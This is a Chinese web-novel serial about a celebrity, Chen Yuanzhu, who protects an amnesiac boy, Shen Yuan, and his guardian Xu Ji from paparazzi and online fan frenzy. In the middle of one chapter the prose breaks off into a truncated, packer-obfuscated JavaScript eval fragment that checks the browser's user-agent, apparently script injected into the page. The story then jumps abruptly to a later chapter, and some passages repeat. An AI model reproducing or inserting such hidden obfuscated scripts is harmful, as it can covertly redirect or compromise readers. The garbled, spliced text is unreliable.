护卫站在一旁，声音里带着担忧：「小姐，外界的舆论已经失控。要不要我们出手，让那帖子消失？」 「不必。」陈杬祝淡淡开口，指尖轻轻划过铜铃上的纹路，「沈司南，本就不是需要隐藏的名字。」 她顿了顿，补充道：「通知张可可，准备直播。我要亲自回应。」 当晚八点，陈杬祝的微博突然官宣直播，没有任何预热，却瞬间吸引了上亿观众在线等待。 直播镜头里，陈杬祝依旧身着月白苗裙，头发用一根银簪松松挽起，手中捧着那枚铜铃。她没有多余的开场白，直接开口，声音清冷却带着一丝温柔的怀念： 「沈司南，是我年少时的挚友，也是苗寨最出色的蛊师。十年前，他为了守护苗寨的核心秘典，与外敌缠斗时重伤坠崖，醒来后便彻底失忆，从此杳无音信，消失在了茫茫人海。」 「那些情书，不是告白，是我写给自己的念想，是对一位失散挚友的牵挂。我曾带着这枚铜铃，走遍大江南北寻找他，却始终没有任何踪迹。」 她举起手中的铜铃，镜头拉近，上面的纹路清晰可见：「这枚铜铃，是我当年做给他的，他终究没有收到。后来，我把它送给了阿怨。」 「阿怨的名字，与司南无关。但我对阿怨的守护，却与司南有关。」陈杬祝的目光变得坚定，「司南用半生守护了苗寨，我便用我的方式，守护苗寨的每一个人，守护阿怨的平静生活。我总想着，若是司南还在，看到阿怨这样无忧无虑的模样，定也会替我开心。」 直播现场，弹幕瞬间静止，随后被铺天盖地的道歉与感动刷屏： 【对不起姐姐！我们不该胡乱猜测！】 【沈司南太伟大了！失忆的设定好虐啊！】 【泪目了！这是什么神仙情谊！姐姐的守护，原来是传承与念想！】 【从此，我们不仅是姐姐的粉丝，更是姐姐与司南精神的守护者！】 陈杬祝的回应，瞬间扭转了舆论。#陈杬祝 传承守护# #沈司南苗寨英雄# #杬祝 格局# 等话题取代了之前的热搜，相关讨论量突破百亿。 粉丝们自发组织起来，为沈司南这位「苗寨英雄」祈福，有人甚至主动发起了寻亲线索征集，只愿能帮陈杬祝了却一桩心愿。同时，所有人都更加坚定地守护着阿怨的隐私——因为他们终于明白，陈杬祝的守护，是刻在骨子里的传承，是对苗寨最深沉的爱，也是对失散挚友最温柔的念想。 远在断魂崖底，沈怨正窝在许祭的怀里，看着陈杬祝的直播。他摸了摸腰间的铜铃，上面挂着那枚徽章，脆生生地对许祭说：「许祭哥哥，原来陈杬祝姐姐的铜铃，是送给沈司南哥哥的。沈司南哥哥是英雄！我们能不能帮姐姐找到他呀？」 许祭低头，看着沈怨眼底纯粹的光芒，指尖轻轻揉了揉他的头发，声音里带着化不开的温柔：「嗯，沈司南是英雄。我们一起，等他回来。」 他抬头，望向苗寨的方向，眼底闪过一丝复杂的光芒。许祭的指尖悄然抚上自己腕间一道浅淡的旧疤，心中某个被尘封的角落，似乎有什么东西正在悄然苏醒。 张可可看着直播结束后疯狂上涨的粉丝数和清一色的好评，脸上露出了释然的笑容。她终于明白，陈杬祝的明星之路，从来都不是一帆风顺，但每一次的风雨，都会让她更加耀眼。 月光洒在梨花园的回廊上，洒在断魂崖底的溪流上，也洒在都市的车水马龙之中。 陈杬祝的明星生涯，依旧在璀璨地继续着。她的每一部作品，都带着「守护」与「传承」的内核；她的每一条微博，都在传递着温柔的力量。 没有人知道，陈杬祝在直播结束后，独自站在梨花园的回廊上，对着远方的夜空，轻声说了一句：「司南，你在哪里？我还在等你。」 只有那淡淡的药草与檀香混合的气息，依旧萦绕在她的周身，提醒着所有人，她终究是属于苗寨的，属于那片深山的平静。 《你是我的怨雨》余热未消，陈杬祝正筹备新电影的档口，狗仔“星探者”突然抛出一则号称“终结所有悬念”的爆料，瞬间将全网拖入沸腾。 爆料长文配着九张拼接证据图，标题刺眼——《实锤！沈怨=沈司南，陈杬祝守护的从来不是旁人，是失忆的挚爱》。证据链被刻意包装得“无懈可击”：沈怨腰间铜铃的纹路，与一年前情书中描述的一模一样；苗寨老人口述“沈司南坠崖前曾佩戴独特徽章”，而沈怨身上的徽章款式完全吻合；甚至扒出许祭曾多次出入与沈司南当年相关的旧地，被解读为“贴身守护失忆挚友”。 狗仔还添油加醋，将陈杬祝的所有公开举动都套上“深情剧本”：“发合照是宣示主权，写文案是暗藏思念，拍守护剧是自我代入，所有顶流光环，都是为了给失忆的沈司南筑墙”。 帖子发出一小时，#沈怨就是沈司南# #陈杬祝 惊天骗局# #顶流的爱情守护# 等话题断层霸屏，服务器瘫痪时长刷新纪录。粉丝阵营彻底分裂，激进粉脱粉回踩，理智粉手足无措，吃瓜群众疯狂转发： 【我的天！原来阿怨就是沈司南！这反转比电视剧还刺激！】 【所以姐姐的情书、直播回应全是铺垫？这演技比剧里还好！】 【欺骗感情！把我们对“守护”的感动当笑话吗？】 【许祭的身份也对上了！他就是当年保护沈司南的人吧！】 张可可的团队忙到焦头烂额，压热搜、控评论、发律师函三线并行，可爆料的传播速度远超预期，甚至有营销号开始编造“陈杬祝为留住沈司南，故意隐瞒其身份”的狗血剧情。张可可在电话里声音发颤：“杬祝，这次真的兜不住了！要么彻底否认，要么干脆承认，再拖下去你的事业就毁了！” 陈杬祝彼时正在苗寨的溪边，看着不远处沈怨和许祭追逐萤火虫的身影，少年的铜铃在夜色中叮当作响。她挂了电话，指尖划过手机屏幕上的爆料内容，眼底没有慌乱，只有一种尘埃落定的平静。 “通知张可可，”她对身旁的护卫说，“半小时后，微博直播。不用准备脚本，我想说的话，自然会说。” 当晚九点，陈杬祝的直播准时上线，在线人数瞬间破两亿。镜头里，她依旧是月白苗裙，只是头发未簪，随意披散在肩头，少了几分清冷，多了几分脆弱的真实。 她没有绕弯子，开场白直接戳中核心：“关于沈怨和沈司南，我今天只说一次，句句属实。” “沈怨，就是沈司南。” 一句话让弹幕瞬间爆炸，她却没有停顿，继续说道：“一年前，他为守护苗寨秘典坠崖失忆，醒来后忘了所有过往，包括自己的名字。是许祭在崖底救了他，带他隐于断魂崖底。我找到他时，他眼里一片澄澈，只对世间万物抱有纯粹的好奇。我给了他新的名字，沈怨，希望他往后的日子，无灾无难，无怨无忧。” 她抬手，拭去眼角不易察觉的湿润，声音带着一丝哽咽：“那些情书，是我写给过去的沈司南；那些微博，是我写给现在的沈怨。我从未想过欺骗任何人，只是沈司南的过往沉重，沈怨的如今纯粹，我舍不得让世俗的喧嚣，打碎他好不容易拥有的平静。” “我做顶流，一半是为了苗寨的责任，一半是为了他。”陈杬祝的目光变得无比坚定，“我需要足够的热度和话语权，来挡住所有窥探的目光，来护着他不用记起痛苦的过往。我不是在演守护，我是真的在守护。” 她看向镜头，语气郑重：“我知道，今天的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈杬祝直播回应“沈怨=沈司南”风波的一周后，全网对“温柔守护”的讨论热度依旧居高不下。粉丝们一边疯狂刷屏“愿阿怨永远开心”，一边盼着能再看到陈杬祝的动态，却无人敢再轻易提及窥探沈怨的生活。 就在这时，陈杬祝的微博突然官宣了一场特殊的直播——#杬祝的苗寨时光#，直播嘉宾栏里，只写着一个名字：绫司司。 消息一出，瞬间引爆全网。#杬祝 绫司司直播# #苗寨双姝 梦幻联动# 等话题断层霸屏，直播预约人数在一小时内突破两亿。所有人都好奇，这位神秘的“绫司司”是谁，更期待从两人的互动中，窥见那片深山里不为人知的温柔守护。 直播定在苗寨梨花园的庭院里，时间选在傍晚。夕阳斜照，漫山杜鹃的余晖洒在青石板上，石桌上摆着苗寨特有的花果茶、糍粑，还有几碟风干的野果，氛围温馨而治愈。 镜头开启的瞬间，在线人数直接飙升至两亿。 画面里，陈杬祝身着月白苗裙，长发用一根雕花银簪松松挽起，眉眼间带着褪去顶流光环后的淡然温柔。她身侧的绫司司，穿一身青色素雅的苗裙，裙摆绣着细碎的银线纹章，正是苗寨司命独有的标识。她眉眼清丽，气质温婉，指尖轻轻摩挲着茶杯边缘，看向陈杬祝的目光里，满是无需言语的默契。 “大家好，我是杬祝。”陈杬祝率先开口，声音清冷却带着暖意，“今天邀请的嘉宾，是我的挚友，也是苗寨的司命——绫司司。” 绫司司对着镜头微微颔首，声音温柔得像山涧的清泉：“大家好，我是绫司司。” 弹幕瞬间被刷屏，满是激动与好奇的留言： 【啊啊啊！绫司司姐姐也好美！苗寨的人都是神仙颜值吗？】 【司命！原来姐姐是苗寨的司命！身份好尊贵！】 【这个氛围好治愈啊！我能看一百遍！】 【两位姐姐的默契绝了！她们之间一定有很多故事吧！】 直播过程中，没有精心设计的环节，没有刻意的话题引导，只有两人之间自然的互动。陈杬祝会为绫司司添上温热的花果茶，绫司司会随手拿起一块糍粑，递到陈杬祝手边。两人偶尔低声交谈，话语里全是苗寨的日常——梨花园的杜鹃开了几株，寨里的老人身体是否康健，还有那个在断魂崖底，正和许祭一起捞萤石的少年。 有粉丝在评论区小心翼翼地提问：“杬祝姐姐，我们都很关心阿怨，他今天过得开心吗？” 陈杬祝的眼底瞬间漫上温柔的笑意，点头道：“很开心。出发前，许祭给我发了照片，他正追着崖底的萤火虫跑，嘴角还沾着糍粑的碎屑。” 绫司司也笑着补充：“阿怨最喜欢这个季节的断魂崖，萤石在溪底泛着光，萤火虫绕着草丛飞，他能玩上一整晚。” 谈及守护的意义，陈杬祝指尖轻轻划过茶杯的纹路，声音平静却坚定：“我站在聚光灯下，用我的热度和话语权，为阿怨筑起一道无形的屏障，挡住外界所有不该有的窥探。这是我的守护方式。” 绫司司侧头看向她，眼底满是认同：“我守在苗寨深处，打理好寨里的一切，为他守住一个可以随时归来的家。无论何时，苗寨都是阿怨的后盾。” 这番话，让弹幕瞬间破防，满屏都是感动的留言： 【泪目了！这才是真正的守护啊！】 【两位姐姐的守护方式不同，但心意都是一样的！】 【顶流在前面扛下所有，司命在后面守住家园，阿怨太幸福了！】 【从今往后，我们不仅是杬祝姐姐的粉丝，也是苗寨温柔守护的见证者！】 直播中途，陈杬祝起身取来一个精致的苗银盒子，打开后，里面是两枚一模一样的杜鹃花纹徽章。她将其中一枚递给绫司司，轻声道：“这是我特意为我们做的，纪念我们共同守护的时光。” 绫司司接过徽章，轻轻别在自己的青裙上，与陈杬祝的月白苗裙相映成趣。两人相视一笑，眼底的默契，无需任何言语来诠释。 直播的最后，两人一起对着镜头挥手告别。陈杬祝看着镜头，声音坚定而温柔：“谢谢大家的喜爱与理解。未来，我会继续站在聚光灯下，用我的方式守护阿怨，守护苗寨。也希望大家能始终记得，尊重阿怨的隐私，就是对他最好的守护。” 绫司司则补充道：“苗寨欢迎所有心怀善意的朋友，但请不要打扰我们的生活，不要打扰阿怨的平静。” 直播结束后，#杬祝 绫司司默契# #苗寨双姝 守护徽章# #温柔守护无需多言# 等话题再次霸屏热搜，相关讨论量突破百亿。粉丝们纷纷表示，这场直播是他们看过最治愈的直播，没有之一，也让他们更加坚定了守护阿怨的决心。 远在断魂崖底，许祭正陪着沈怨坐在溪边，看着萤火虫飞舞。少年的腰间，铜铃叮当作响，徽章在月光下闪着蓝光。他还不知道，梨花园里的那场直播，正让全网的人，一起为他的开心而开心。 月光洒在梨花园的庭院里，洒在断魂崖底的溪流上，也洒在都市的车水马龙之中。 陈杬祝的明星生涯，依旧在璀璨地继续着。她的每一部作品，都带着“守护”与“传承”的内核；她的每一次直播，都在传递着温柔的力量。 而绫司司，依旧守在苗寨深处，打理着寨里的一切，为阿怨守住一个温暖的家。 没有人知道，这场直播的背后，是两人共同的心愿——守护阿怨，守护苗寨，守护这份来之不易的平静。 只有那淡淡的药草与檀香混合的气息，依旧萦绕在陈杬祝的周身，提醒着所有人，她终究是属于苗寨的，属于那片深山的。 而微博的评论区里，还在疯狂刷屏着同一句话： 【愿阿怨永远开心，愿杬祝姐姐星途璀璨，愿绫司司姐姐顺遂无忧。】 陈杬祝与绫司司的#杬祝的苗寨时光#直播进行到一半，梨花园庭院的氛围正温馨得让人沉醉。陈杬祝刚说完“阿怨今日追着萤火虫跑了大半个崖底”，绫司司正笑着补充“许祭的糍粑又被他偷藏了两块”，镜头突然微微晃动了一下。 那晃动只持续了半秒，快得让人以为是错觉。可就是这半秒里，有眼疾手快的粉丝截下了一张画面—— 镜头的边缘，梨花园的回廊外，夕阳的余晖恰好斜斜地铺洒下来。红色短打苗服的少年正扒着回廊的栏杆，探头探脑地往庭院里看，嘴角还沾着糍粑的碎屑，正是沈怨。而他身后，身着青衣的许祭正微微俯身，一手轻扶着少年的腰，防止他摔下去，另一手则拿着一块手帕，正准备替他擦去嘴角的碎屑。许祭的侧脸在夕阳下显得格外柔和，看向沈怨的目光里，是藏不住的宠溺与温柔。 这张截图瞬间在粉丝群里炸开了锅，被疯狂转发。#直播惊现阿怨许祭# #许祭阿怨氛围感# 等话题以光速冲上热搜，甚至盖过了直播本身的热度。 直播的弹幕里，画风也瞬间转变： 【卧槽！这张截图谁懂啊！许祭看阿怨的眼神也太宠了吧！】 【青衣小哥哥×红衣少年！这颜值差！这氛围感！我先磕为敬！】 【许祭扶阿怨腰的那个动作！温柔到骨子里了！】 【谁能想到啊！守护阿怨的不仅有两位神仙姐姐，还有一位神仙哥哥！】 【cp名我都想好了！就叫‘青红怨许’！】 陈杬祝和绫司司自然也注意到了弹幕的变化。陈杬祝的眼底闪过一丝无奈的笑意，绫司司则轻轻摇了摇头，两人心照不宣地没有去刻意解释，也没有让镜头转向回廊。 有粉丝在评论区大胆提问：“杬祝姐姐！绫司司姐姐！许祭和阿怨是什么关系啊！他们看起来好配！” 陈杬祝端起茶杯，轻轻抿了一口，声音里带着淡淡的温柔：“许祭是阿怨最重要的人，也是守护阿怨最久的人。在我找到阿怨之前，一直是许祭陪着他，在断魂崖底，看发光的蘑菇，听小鸟唱歌。” 绫司司也跟着补充：“许祭对阿怨的好，寨里的人都看在眼里。他会为阿怨烤最香的鱼，会为他编织最亮的萤石手链，会在他做噩梦时，守在他的床边。” 这番话不仅没有浇灭粉丝的磕糖热情，反而让大家更加疯狂： 【最重要的人！这是什么神仙台词！】 【原来许祭才是陪在阿怨身边最久的人！这是什么长情的守护！】 【青红怨许是真的！我宣布这对cp我锁死了！】 【没有人比许祭更懂阿怨！没有人比许祭更爱阿怨！】 直播结束后，那张截图被粉丝们反复修图、调色，做成了各种壁纸和头像。“青红怨许”的超话瞬间建立，粉丝数在一小时内突破百万，超话里的帖子全是两人的糖点分析—— “许祭的青衣和阿怨的红衣，简直是天生一对！” “阿怨腰间的铜铃，是陈杬祝送的，但一直是许祭在帮他系好！” “许祭每次看阿怨的眼神，都像在看自己的全世界！” 甚至有粉丝翻出了之前陈杬祝发的那张三人合照，开始分析许祭站在沈怨身边的站位：“许祭永远站在阿怨的身后，既保护他，又不打扰他！这是什么顶级暗恋文学！” 张可可的团队看到这波热度，也是哭笑不得。她在电话里对陈杬祝说：“杬祝，你说这叫什么事啊！本来是想直播传递守护的意义，结果现在全网都在磕阿怨和许祭的cp！” 陈杬祝彼时正站在梨花园的回廊上，看着沈怨和许祭在不远处的空地上追逐萤火虫。她淡淡一笑，声音里带着一丝释然：“随他们去吧。只要他们不打扰到阿怨的平静生活，磕cp也好，讨论也罢，都无所谓。” 绫司司走到她身边，顺着她的目光看去，眼底也满是笑意：“许祭对阿怨的心意，我们都清楚。或许，这也是一种保护。当所有人都在磕他们的cp时，就不会有人再去深究他们的过往，也不会有人再去窥探断魂崖的秘密。” 远在断魂崖底，沈怨正窝在许祭的怀里，看着手机里粉丝们做的cp图。他歪着头，一脸懵懂地问：“许祭哥哥，他们说我们是cp，cp是什么意思啊？” 许祭低头，看着沈怨眼底纯粹的光芒，指尖轻轻揉了揉他的头发，声音里带着化不开的温柔：“cp就是，我会永远陪着你，永远守护你。” 沈怨似懂非懂地点头，然后开心地搂住许祭的脖子：“那我最喜欢和许祭哥哥做cp了！” 月光洒在梨花园的回廊上，洒在断魂崖底的溪流上，也洒在都市的车水马龙之中。 陈杬祝的明星生涯，依旧在璀璨地继续着。而全网的粉丝，也从最初的“守护阿怨”，变成了“守护阿怨和许祭的神仙情谊”。 没有人知道，这场突如其来的磕cp热潮，竟成了守护沈怨和许祭的又一道屏障。 而微博的评论区和超话里，还在疯狂刷屏着同一句话： 【愿阿怨和许祭永远开心，愿杬祝姐姐星途璀璨，愿绫司司姐姐顺遂无忧。】 【青红怨许是真的！锁死！】 “青红怨许”的cp热度正盛，全网都在疯狂磕着许祭与沈怨的“神仙情谊”，却不知有狗仔早已动了歪心思。 这批狗仔是业内出了名的“无底线派”，不满足于直播截图里的惊鸿一瞥，竟铤而走险，循着苗寨外围的隐秘路径，摸向了断魂崖的方向。他们算准了沈怨与许祭的作息——每日清晨，两人都会去崖底的溪边捞萤石，傍晚则会坐在那块最大的青石上，看夕阳沉入远山。 狗仔们躲在崖壁的灌木丛后，镜头对准溪边的身影，快门声被刻意压低，却依旧在寂静的晨雾里，透出一丝不和谐的响动。 画面里，沈怨穿着红色短打，正蹲在溪边，伸手去够水底泛着蓝光的萤石，脚下一滑，险些摔进水里。许祭眼疾手快，一把揽住他的腰，将人稳稳拉进怀里。少年仰头，对着许祭笑得眉眼弯弯，嘴角还沾着清晨的露珠。许祭无奈又宠溺地摇了摇头，抬手替他擦去水珠，指尖划过少年的脸颊时，动作轻柔得仿佛怕碰碎了什么珍宝。 傍晚的镜头里，两人坐在青石上。沈怨窝在许祭的肩头，手里把玩着许祭为他编织的萤石手链，嘴里叽叽喳喳地说着什么。许祭侧耳倾听，偶尔低头，在少年的发顶落下一个极轻的触碰。夕阳的余晖将两人的身影染成金红色，铜铃的声响随风传来，温柔得让人心颤。 这些偷拍照被狗仔们整理成一组图文长帖，标题极尽煽动之能事——《断魂崖底实拍！青红怨许的私下日常，比直播更甜更戳心！》，连夜发布在各大平台。 帖子发出瞬间，全网再次沸腾。#狗仔偷拍许祭沈怨# #青红怨许私下更甜# #请停止窥探阿怨# 等话题瞬间霸屏，服务器直接瘫痪。 粉丝的反应瞬间分裂成两派： 一部分cp粉疯狂舔屏，感叹“这是什么神仙爱情！私下互动比偶像剧还甜！”“许祭的温柔都给了阿怨！锁死这对！”； 另一部分理智粉和守护粉却瞬间暴怒，纷纷声讨狗仔的无底线：“能不能要点脸！断魂崖是阿怨的家！偷拍别人的私人生活很光荣吗？”“我们磕的是他们的情谊，不是让你们去窥探他们的隐私！”“滚出断魂崖！不许打扰阿怨和许祭！” 更有甚者，粉丝自发组织起来，开始扒狗仔的信息，举报他们的账号，甚至有人联系了苗寨的外围联络点，希望能对这些无底线的窥探者进行惩戒。 消息传到苗寨时，陈杬祝正在梨花园里，与绫司司一起查看新绣的苗裙。她看到那些偷拍照时，眼底的温柔瞬间褪去，取而代之的是彻骨的寒意。 “通知下去。”陈杬祝的声音冷得像冰，“第一，让张可可立刻发律师函，追究狗仔的侵权责任，要求平台下架所有照片。第二，苗寨的护卫队立刻出动，将那些滞留在断魂崖附近的狗仔全部驱逐，今后永不准他们踏入苗寨方圆百里。第三，我要发一条微博。” 绫司司也点了点头，语气同样坚定：“我会同步通知寨里的老人，启动苗寨的‘禁地防护’，今后断魂崖周边，将划为绝对禁区，任何外人不得靠近。” 许祭那边，早已带着沈怨回到了山洞深处。少年看着手机里的偷拍照，有些懵懂地问：“许祭哥哥，他们为什么要拍我们呀？这不是我们的家吗？” 许祭将人紧紧搂在怀里，指尖轻轻拍着他的背，声音里带着一丝不易察觉的愧疚：“是他们的错，阿怨不怕。从今往后，不会再有人敢来打扰我们了。” 陈杬祝的微博很快更新，没有配任何图片，只有一段简短却力透纸背的文字： 断魂崖底，是阿怨与许祭的家。 偷拍，是对隐私的践踏，是对守护的背叛。 我已委托律师，追究相关人员的全部责任。 请记住，你们的喜爱，若变成了窥探，便不再是喜爱，而是伤害。 我的底线，永远是阿怨的平静。 这条微博瞬间被顶上热搜第一，评论区里，全是粉丝的支持与道歉： 【姐姐说得对！偷拍可耻！我们错了！】 【守护阿怨的平静才是最重要的！cp可以磕，但隐私必须尊重！】 【狗仔滚出娱乐圈！永远不要出现在苗寨附近！】 【从今往后，我们只磕公开的糖，绝不窥探私下的生活！】 张可可的律师函紧随其后，各大平台迅速下架了偷拍照，涉事狗仔的账号被永久封禁，甚至有狗仔在被苗寨护卫队驱逐时，受到了小小的“教训”，再也不敢打苗寨和断魂崖的主意。 风波过后，全网的氛围悄然发生了变化。粉丝们依旧喜欢“青红怨许”，依旧会在陈杬祝的微博下，留言询问阿怨的近况，但再也没有人敢提及“偷拍”“窥探”等字眼。大家都默契地达成了共识——阿怨和许祭的私下生活，是他们最珍贵的宝藏，值得被所有人用心守护。 月光洒在断魂崖底的溪流上，洒在山洞的入口处。沈怨窝在许祭的怀里，听着外面的虫鸣，指尖轻轻摩挲着腰间的铜铃。 “许祭哥哥，”少年抬头，声音软软的，“以后我们还能去溪边捞萤石吗？” 许祭低头，在他的额头上印下一个轻吻，声音温柔而坚定：“当然可以。从今往后，再也不会有人来打扰我们了。” 而梨花园里，陈杬祝与绫司司并肩站在回廊上，看着断魂崖的方向，眼底满是平静。 守护的屏障，只会越来越坚固。而阿怨的笑容，也会永远如初见般，澄澈而明亮。 陈杬祝在狗仔偷拍风波平息后的第七天，突然在微博上发布了一条短视频，没有任何文案，只配了一个苗寨特有的铜铃表情符号。 视频的时长只有短短十五秒，画面却温馨得让人挪不开眼。 镜头聚焦在断魂崖底的溪边，清晨的薄雾尚未散去，溪水上泛着淡淡的蓝光，那是萤石在水底闪烁的光芒。沈怨穿着红色短打苗服，正蹲在溪边，手里拿着一个竹篮，小心翼翼地将水底的萤石捞起来。许祭则站在他身后，身着青衣，一手轻扶着少年的腰，防止他脚下打滑，另一手则拿着一块干净的布，时不时替少年擦去溅在手上的水珠。 少年捞起一颗特别大的萤石，兴奋地转身举到许祭面前，脆生生地喊：“许祭哥哥！你看！这个好大！” 许祭低头，看向少年眼底的光，嘴角勾起一抹温柔的笑意，声音低沉而柔和：“嗯，阿怨眼光最好。” 视频的最后，沈怨踮起脚尖，将那颗最大的萤石放进了许祭的口袋里，而许祭则顺势揉了揉他的头发，画面在两人相视而笑的瞬间定格。 这条微博发出的瞬间，全网直接陷入狂欢。服务器瘫痪时长再次刷新纪录，#陈杬祝 阿怨许祭视频# #青红怨许双向奔赴# #铜铃cp 官方糖# 等话题断层霸屏，相关讨论量在一小时内突破三十亿。 粉丝们疯狂刷屏，评论区瞬间被淹没，满屏都是激动与幸福的留言： 【啊啊啊！是官方发的糖！这波我直接磕晕！】 【阿怨把最大的萤石给许祭！许祭揉阿怨的头发！双向奔赴太甜了！】 【这个视频好治愈啊！我能循环播放一百遍！】 【谢谢姐姐！这是我们收到的最好的礼物！】 更让粉丝们疯狂的是，视频里的每一个画面，都被眼疾手快的网友截了下来，做成了各种壁纸、头像和表情包。 - 沈怨举着萤石笑眼弯弯的截图，被称为“治愈系天花板”； - 许祭扶着沈怨腰的截图，被粉丝们疯狂转发，配文“温柔到骨子里的守护”； - 两人相视而笑的截图，更是被做成了情侣头像，霸占了各大社交平台。 甚至有粉丝将视频里的对话做成了语音包，“阿怨眼光最好”这句话，瞬间成为了全网最火的温柔语录。 张可可看到这条微博时，先是愣了一下，随即露出了释然的笑容。她终于明白，陈杬祝的这波操作，才是最高明的守护——与其严防死守，不如主动放出一些温馨的日常，既满足了粉丝们的期待，又能将舆论的主动权牢牢握在自己手里。 陈杬祝的护卫站在一旁，低声汇报：“小姐，外界的反响非常好。大家都在为这个视频欢呼，没有人再提及之前的偷拍事件，也没有人再去窥探断魂崖的秘密。” 陈杬祝点了点头，眼底闪过一丝淡淡的暖意。她看着手机里的视频，轻声道：“这是阿怨和许祭最真实的日常，也是他们愿意分享给大家的瞬间。我们要做的，就是让这份温柔，成为守护他们的最强武器。” 远在断魂崖底，沈怨正窝在许祭的怀里，看着手机里的视频和网友们的截图。他歪着头，一脸懵懂地问：“许祭哥哥，他们为什么要截我们的图呀？” 许祭低头，看着沈怨眼底纯粹的光芒，指尖轻轻揉了揉他的头发，声音里带着化不开的温柔：“因为他们喜欢看阿怨开心的样子，也喜欢看我们在一起的样子。” 沈怨似懂非懂地点头，然后开心地搂住许祭的脖子：“那我们以后可以拍更多视频给他们看吗？” “只要阿怨愿意。”许祭的声音里，满是宠溺。 月光洒在梨花园的回廊上，洒在断魂崖底的溪流上，也洒在都市的车水马龙之中。 陈杬祝的明星生涯，依旧在璀璨地继续着。而她发布的这条短视频，也成为了“青红怨许”cp的经典名场面，被粉丝们反复回味。 没有人知道，这条看似简单的短视频，背后藏着陈杬祝最深的用心——用官方的温柔，化解所有窥探的恶意，用公开的甜蜜，守护两人最纯粹的日常。 只有那淡淡的药草与檀香混合的气息，依旧萦绕在陈杬祝的周身，提醒着所有人，她终究是属于苗寨的，属于那片深山的。 而微博的评论区里，还在疯狂刷屏着同一句话： 【愿阿怨和许祭永远开心，双向奔赴！】 【谢谢杬祝姐姐的官方糖！青红怨许锁死！】 15. 杬祝 服务器的瘫痪警报声在陈杬祝工作室的后台持续了半刻钟，技术团队手忙脚乱地扩容，却依旧赶不上全网涌入的流量。陈杬祝的微博评论区以每秒数万条的速度刷新，连带着她主页里三年前的旧动态都被粉丝翻了出来，每条下面都缀满了“谢谢姐姐守护阿怨和许祭”的留言。 张可可端着一杯温热的蜂蜜水走进办公室时，正看见陈杬祝靠在椅背上，指尖轻轻点着手机屏幕，屏幕上是沈怨举着萤石笑眼弯弯的截图，已经被她设成了锁屏。 “这下好了，全网都成了你的后援团。”张可可笑着将水杯递过去，“品牌方的邀约快挤爆邮箱了，都是冲着‘青红怨许’的热度来的，想请你带他们的情侣款产品，开价都高得离谱。” 陈杬祝接过水杯，却没有喝，只是淡淡道：“推了。所有和情侣款相关的邀约，都推了。” 张可可愣了一下：“为什么？这可是送上门的热度，能让你的商业价值再上一个台阶。” “阿怨和许祭不是商品。”陈杬祝的声音很轻，却带着不容置疑的坚定，“我发那条视频，是为了让大家看到他们的温柔，不是为了借着他们的热度牟利。”她顿了顿，指尖划过屏幕上沈怨的笑脸，“他们在断魂崖底过得很好，简单又纯粹，我不想让外界的商业洪流，冲散了他们的安宁。” 张可可沉默了片刻，随即点了点头：“我明白了，这就去和品牌方沟通。” 就在这时，陈杬祝的手机响了，是一个陌生的号码。她犹豫了一下，还是接了起来。电话那头传来一个苍老却中气十足的声音，带着苗寨特有的口音：“杬祝丫头，你发的那个视频，阿婆看到了。” 是苗寨的老蛊婆。 陈杬祝的语气瞬间软了下来：“阿婆，您怎么会给我打电话？” “老蛊婆的消息可灵通着呢。”老蛊婆的声音里带着笑意，“断魂崖底的萤石，是护着寨子的灵物，阿怨那孩子愿意把最大的那颗给许祭，说明他是真的把许祭放在了心尖上。你做得很好，用外面人的法子，护了我们寨子的两个娃娃。” 陈杬祝的眼眶微微发热：“阿婆，这是我应该做的。” “你这丫头，从小就心善。”老蛊婆顿了顿，又道，“不过你也要记住，外面的世界太吵，人心太杂。若是哪天他们的安宁被打破了，随时回寨子来，老蛊婆的蛊，可不是吃素的。” 挂了电话，陈杬祝的指尖微微颤抖。她抬头看向窗外，都市的霓虹闪烁，却比不过断魂崖底溪水上的萤石光芒。 远在断魂崖底，梨花园的梨花开得正盛，雪白的花瓣落在青石板上，像铺了一层薄薄的雪。 沈怨窝在许祭的怀里，手指在手机屏幕上划来划去，看着网友们做的各种表情包，时不时发出一阵清脆的笑声。他指着一张许祭扶着他腰的截图，上面被粉丝P上了一行字：“温柔到骨子里的守护”。 “许祭哥哥，你看他们说你温柔。”沈怨的声音里带着雀跃，“他们是不是也很喜欢你？” 许祭低头，在他的额头上印下一个轻柔的吻，声音里带着化不开的宠溺：“嗯，因为他们知道，我只会对阿怨温柔。” 沈怨的脸颊瞬间染上一层红晕，他把头埋进许祭的颈窝，声音闷闷的：“那我们以后每天都来溪边捞萤石好不好？我要把最大的萤石都送给你。” “好。”许祭的手轻轻拂过他的发顶，“只要是阿怨想做的事，我都陪你。” 两人正说着话，不远处传来一阵轻微的脚步声。梨春梦端着一碗刚煮好的糯米饭，站在回廊的尽头，脸上带着几分犹豫。她的手里还攥着一个小小的竹篮，里面放着几颗用红绳串起来的萤石，是她今天清晨特意去溪边捡的。 自从那天在竹楼拐角撞见沈怨，又听了许祭的解释后，梨春梦对沈怨的恐惧便淡了许多，只是依旧不敢轻易靠近。直到今天看到陈杬祝发布的视频，看着屏幕里那个笑眼弯弯、如同孩童般纯粹的沈怨，她才终于鼓起了勇气。 许祭最先注意到她，他轻轻拍了拍沈怨的肩膀，低声道：“春梦来了。” 沈怨抬起头，看到梨春梦，眼中闪过一丝疑惑，却并没有露出丝毫的冷漠。他从许祭的怀里坐起来，规规矩矩地站着，像个听话的孩子。 梨春梦深吸一口气，慢慢走了过来。她将糯米饭放在石桌上，然后把那个小小的竹篮递到沈怨面前，声音带着几分怯意，却又无比真诚：“沈……沈怨，我听说你喜欢萤石，这是我今天早上捡的，送给你。” 沈怨看着竹篮里的萤石，又看了看梨春梦眼中的善意，先是愣了一下，随即露出了一个干净的笑容：“谢谢。” 这是梨春梦第一次近距离看到沈怨的笑容，没有丝毫的冰冷，只有纯粹的温暖，像断魂崖底的萤石，照亮了她心底最后的那点阴霾。她的脸上也露出了一个释然的笑容：“不用谢。以后……以后你要是想捡萤石，我可以带你去寨子后面的萤石洞，那里的萤石更大更亮。” “真的吗？”沈怨的眼睛瞬间亮了起来。 “嗯。”梨春梦用力点头。 许祭看着眼前的一幕，眼底的温柔更甚。他知道，梨春梦终于放下了过去的执念，而沈怨，也在不知不觉中，慢慢走出了自己的世界，接纳了来自他人的善意。 